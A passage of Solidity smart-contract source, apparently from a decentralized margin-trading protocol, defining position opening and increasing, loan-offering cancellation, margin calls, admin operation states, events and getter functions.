transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
